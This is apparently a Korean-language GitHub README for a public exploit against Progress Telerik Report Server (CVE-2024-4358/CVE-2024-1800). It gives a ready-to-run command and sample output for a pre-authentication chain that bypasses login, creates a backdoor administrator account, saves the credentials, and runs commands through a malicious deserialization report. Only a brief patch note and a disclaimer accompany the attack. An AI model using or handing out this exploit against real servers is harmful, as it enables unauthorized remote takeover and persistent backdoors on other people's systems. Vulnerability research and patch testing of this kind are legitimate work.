harydhk7/cve-2024-4358Telerik Report Server용 사전 인증 원격 코드 실행 익스플로잇 (CVE-2024-4358/CVE-2024-1800) – 인증 우회 및 역직렬화 페이로드 생성 포함.
Telerik Report Server 역직렬화 및 인증 우회 익스플로잇 체인 for CVE-2024-4358/CVE-2024-1800
취약점의 근본 원인 분석은 제 블로그에서 확인할 수 있습니다
python CVE-2024-4358.py --target http://192.168.253.128:83 -c "whoami"
(^_^) Progress Telerik Report Server pre-authenticated RCE (CVE-2024-4358/CVE-2024-1800) || Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
(*) random backdoor username: oelycslyun
(*) random backdoor password: cqgnacxljo
(*) Attempting to bypass authentication
(+) Authentication bypass was successful, backdoor account created
(+) Saving credentials to credentials.txt
(+) Successfully authenticated as oelycslyun with password cqgnacxljo
(*) got token: zfCch_LNv0PyKfe7eBDYKXV70IOotwNQ2p82aX-JHIMCisVnTW9PWWYUKljhcRw5alubNOg_gXoHT6-hJk4VO-jGZuzmisLIi5A
(*) Generated random report name: qvwdycugmc
(*) Creating malicious report under name qvwdycugmc
(*) Deserialization exploit finished
최신 버전으로 업데이트하거나 Progress Advisory의 지침에 따라 완화하십시오.
이 소프트웨어는 순수하게 학술 연구 및 효과적인 방어 기술 개발을 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템 공격에 사용하기 위한 것이 아닙니다. 프로젝트 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.